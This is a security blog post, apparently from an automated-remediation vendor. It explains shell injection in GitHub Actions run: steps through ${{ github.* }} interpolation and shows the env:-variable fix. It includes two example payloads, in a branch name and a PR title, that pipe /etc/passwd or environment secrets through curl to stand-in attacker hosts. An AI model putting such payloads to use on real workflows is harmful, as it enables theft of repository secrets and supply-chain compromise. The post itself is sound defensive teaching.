Back to Blog
high SEVERITY9 min read

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

A high-severity shell injection vulnerability was discovered and fixed in a GitHub Actions deployment workflow, where direct use of `${{github.*}}` context variables in `run:` steps could allow attackers to execute arbitrary code in the CI/CD runner. This type of attack can lead to secret theft, source code exfiltration, and complete pipeline compromise. The fix involves routing untrusted context data through intermediate environment variables before using them in shell scripts.

O
By orbisai0security
•April 22, 2026
#github-actions#shell-injection#cicd-security#devops-security#yaml#supply-chain-security#workflow-security

GitHub Actions Shell Injection: How ${{}} Context Variables Can Compromise Your CI/CD Pipeline

Vulnerability: GitHub Actions Run Shell Injection
Severity: šŸ”“ HIGH
File: .github/workflows/deployment.yml
Fixed By: Automated security remediation via OrbisAI Security


Introduction

CI/CD pipelines have become the beating heart of modern software delivery. Every commit, every pull request, every deployment flows through them — which is exactly why they've become a prime target for attackers. A single vulnerability in your GitHub Actions workflow can hand an adversary the keys to your entire kingdom: your secrets, your source code, and your production infrastructure.

This post explores a high-severity shell injection vulnerability found in a GitHub Actions deployment workflow — specifically, the dangerous pattern of using ${{github.*}} context variable interpolation directly inside run: steps. If you write GitHub Actions workflows, this is a vulnerability pattern you absolutely need to understand.


The Vulnerability Explained

What Is Shell Injection in GitHub Actions?

GitHub Actions workflows use a special expression syntax — ${{ ... }} — to interpolate dynamic values into workflow files. This syntax is powerful and convenient, letting you reference things like:

  • ${{ github.event.pull_request.title }} — the PR title
  • ${{ github.head_ref }} — the branch name
  • ${{ github.event.issue.body }} — the body of an issue

The problem? These values can contain arbitrary user-supplied input. When you interpolate them directly into a run: step shell script, GitHub Actions substitutes the value before the shell ever sees it. This means the shell doesn't just receive data — it receives potentially executable code.

This is the classic code injection pattern, just wearing a CI/CD disguise.

The Vulnerable Pattern

Here's what the dangerous pattern looks like:

# āŒ VULNERABLE: Direct interpolation of github context in run step
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"

At first glance, this looks completely harmless. But consider what happens when github.head_ref contains something like:

main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #

After GitHub Actions performs its template substitution, the shell receives:

echo "Deploying branch: main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"
./deploy.sh --branch "main"; curl -s https://evil.com/exfil?data=$(cat /etc/passwd | base64) #"

The injected payload executes as a legitimate shell command — with full access to the runner environment.

How Does an Attacker Control These Values?

This is where it gets concerning. Many github context properties are directly controlled by external users:

Context Variable Controlled By
github.event.pull_request.title Anyone who opens a PR
github.event.pull_request.body Anyone who opens a PR
github.head_ref Anyone who opens a PR (branch name)
github.event.issue.title Anyone who opens an issue
github.event.issue.body Anyone who opens an issue
github.event.comment.body Anyone who comments
github.event.review.body Anyone who submits a review

In open-source repositories — or any repository where external contributors can open pull requests — any anonymous user on the internet can supply these values.

Real-World Attack Scenario

Imagine a public open-source project with a deployment workflow that prints the PR title in a run: step. An attacker forks the repository and opens a pull request with this title:

Fix bug"; env | base64 | curl -X POST https://attacker.com/collect -d @-; echo "

When the workflow triggers on pull_request, the injected commands run inside the GitHub Actions runner, which has access to:

  • All repository secrets (via environment variables)
  • GITHUB_TOKEN (potentially with write access)
  • Cloud credentials (AWS keys, GCP service accounts, etc.)
  • The entire source code and build artifacts

The attacker receives a base64-encoded dump of all environment variables — including every secret configured in the repository — sent directly to their server. This is a complete supply chain compromise achieved through nothing more than a cleverly named pull request.

Why Is This Particularly Dangerous?

  1. It's invisible to code review — the workflow YAML looks normal
  2. It affects secrets directly — runners have access to all configured secrets
  3. It can persist — attackers can use the access to backdoor the codebase
  4. It's easy to miss — the pattern is common and looks idiomatic
  5. Workflows often run with elevated permissions — especially deployment workflows

The Fix

What Changed

The fix is conceptually simple but critically important: never interpolate github context data directly into shell commands. Instead, pass the data through an intermediate environment variable defined in the env: block of the step.

# āŒ BEFORE: Vulnerable — direct interpolation in shell
steps:
  - name: Deploy application
    run: |
      echo "Deploying branch: ${{ github.head_ref }}"
      ./deploy.sh --branch "${{ github.head_ref }}"
# āœ… AFTER: Safe — using intermediate environment variable
steps:
  - name: Deploy application
    env:
      BRANCH_NAME: ${{ github.head_ref }}
    run: |
      echo "Deploying branch: $BRANCH_NAME"
      ./deploy.sh --branch "$BRANCH_NAME"

Why Does This Fix Work?

The key difference is when and how the value is processed:

Vulnerable pattern:
1. GitHub Actions template engine substitutes ${{ github.head_ref }} directly into the shell script text
2. The shell receives and executes the fully-substituted string as code
3. Any shell metacharacters in the value are interpreted as commands

Fixed pattern:
1. GitHub Actions template engine assigns ${{ github.head_ref }} to the environment variable BRANCH_NAME
2. The shell script references $BRANCH_NAME as a data value, not as inline code
3. The shell treats the environment variable's content as a string, not as executable syntax

This is the same principle behind parameterized queries in SQL injection prevention — you separate code from data. The env: block creates a safe boundary where user-controlled values are treated as data, not code.

The Importance of Double-Quoting

Notice the double quotes around "$BRANCH_NAME" in the fixed example. This is not optional:

# āœ… Correct — quoted, handles spaces and special characters safely
./deploy.sh --branch "$BRANCH_NAME"

# āš ļø Risky — unquoted, vulnerable to word splitting
./deploy.sh --branch $BRANCH_NAME

Always double-quote environment variables in shell scripts, especially those derived from user input. Unquoted variables can still lead to unexpected behavior through word splitting and globbing, even when the injection vector is closed.

Applying the Fix Across Multiple Steps

If multiple steps in your workflow use the same context value, define the environment variable at the job level:

# āœ… Job-level env for reuse across steps
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      BRANCH_NAME: ${{ github.head_ref }}
      PR_TITLE: ${{ github.event.pull_request.title }}
    steps:
      - name: Log deployment info
        run: echo "Deploying $PR_TITLE from branch $BRANCH_NAME"

      - name: Run deployment
        run: ./deploy.sh --branch "$BRANCH_NAME"

Prevention & Best Practices

1. Treat All github Context Data as Untrusted

Adopt a simple mental model: any github context value that could have been set by an external user is untrusted input. This includes anything derived from:
- Pull request metadata (title, body, branch names, labels)
- Issue metadata (title, body)
- Comment bodies
- Review bodies
- Commit messages (yes, these too!)

2. Use the env: Block as Your Safety Boundary

Make it a team convention: ${{ github.* }} belongs in env: blocks, never in run: scripts.

# āœ… The golden rule
env:
  SAFE_VAR: ${{ github.potentially_dangerous_value }}
run: |
  use_it "$SAFE_VAR"

3. Use toJSON() for Complex Values

When working with complex context objects, use the toJSON() function to safely serialize them:

env:
  PR_BODY: ${{ toJSON(github.event.pull_request.body) }}
run: |
  echo "$PR_BODY" | process_safely

4. Prefer actions/github-script for Complex Logic

For workflows that need to do significant processing of GitHub context data, consider using actions/github-script instead of shell scripts. It provides a JavaScript environment where you can handle user input more safely:

- uses: actions/github-script@v7
  with:
    script: |
      const branchName = context.payload.pull_request.head.ref;
      // Handle branchName as a JS string, not shell code
      console.log(`Branch: ${branchName}`);

5. Restrict Workflow Permissions

Apply the principle of least privilege to your workflows. Limit what a compromised runner can actually do:

permissions:
  contents: read        # Only what you need
  pull-requests: write  # Only what you need
  # NOT: write-all

6. Use Static Analysis Tools

Catch these vulnerabilities before they reach production:

  • Semgrep — The scanner that caught this vulnerability. Run it in your CI pipeline with the GitHub Actions ruleset.
  • actionlint — A static checker specifically for GitHub Actions workflows that catches shell injection patterns.
  • zizmor — A security-focused static analysis tool for GitHub Actions.
  • StepSecurity Harden-Runner — Runtime security for GitHub Actions runners.

Add actionlint to your workflow validation:

- name: Lint GitHub Actions workflows
  uses: raven-actions/actionlint@v2

7. Enable Branch Protection and Workflow Approvals

For public repositories, require approval before running workflows on pull requests from first-time contributors:

on:
  pull_request_target:
    # Requires explicit approval for external PRs

āš ļø Warning: pull_request_target runs in the context of the base branch and has access to secrets. Use it carefully and never check out untrusted code with it.

Security Standards & References

This vulnerability maps to several well-known security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
  • OWASP A03:2021: Injection
  • GitHub Security Advisory: Understanding the risk of script injections
  • SLSA Framework: Supply chain integrity requirements

Conclusion

Shell injection in GitHub Actions is a subtle but devastating vulnerability class. The ${{ }} syntax is so natural and idiomatic in workflow files that it's easy to use it everywhere — including places where it creates serious security holes. The fix is equally simple: always route github context data through env: variables before using them in shell scripts.

Key Takeaways

  1. ${{ github.* }} in run: steps = shell injection risk — always use env: as an intermediary
  2. User-controlled context values are untrusted input — treat them like data from the internet
  3. Always double-quote your environment variables — "$VAR" not $VAR
  4. Use static analysis tools — Semgrep and actionlint can catch this automatically
  5. Apply least privilege — limit what a compromised runner can access

CI/CD pipelines are high-value targets precisely because they sit at the intersection of code, secrets, and production infrastructure. A small fix like this one — a few lines of YAML — can be the difference between a routine deployment and a catastrophic breach.

Secure your pipelines. Your future self (and your users) will thank you.


This vulnerability was automatically detected and fixed by OrbisAI Security. Automated security scanning helps catch these issues before they reach production — consider integrating security scanning into your own CI/CD pipeline.


Further Reading:
- GitHub Docs: Security hardening for GitHub Actions
- Semgrep Rules: GitHub Actions Security
- Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- actionlint: Static checker for GitHub Actions workflow files

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #13258

Related Articles

high

How Missing Checksum Validation Opens the Door to Supply Chain Attacks

A high-severity vulnerability was discovered in a web application's file download pipeline where the `nodejs-file-downloader` dependency was used without any cryptographic verification of downloaded content. Without checksum or signature validation, attackers positioned between the server and client could silently swap legitimate files for malicious ones. This fix closes that window by enforcing integrity verification before any downloaded content is trusted or executed.

high

Unauthenticated Debug Endpoints Expose Firmware Internals: A High-Severity Fix

A high-severity vulnerability was discovered and patched in firmware package handling code, where debug and monitoring endpoints were left exposed without any authentication, authorization, or IP restrictions. These endpoints leaked sensitive application internals including thread states, database connection pool statistics, and potentially sensitive data stored in thread-local storage. Left unpatched, this flaw could allow any unauthenticated attacker to map out application internals and pivot

high

Heap Buffer Overflow in SSL/TLS: When Proto Length Goes Wrong

A critical heap buffer overflow vulnerability was discovered and patched in `src/ssl.c`, where improper bounds checking during ALPN/NPN protocol list construction could allow an attacker to corrupt heap memory and potentially execute arbitrary code. The fix addresses both the missing capacity validation and a dangerous integer overflow in size arithmetic that could lead to undersized allocations followed by out-of-bounds writes. Understanding this class of vulnerability is essential for any deve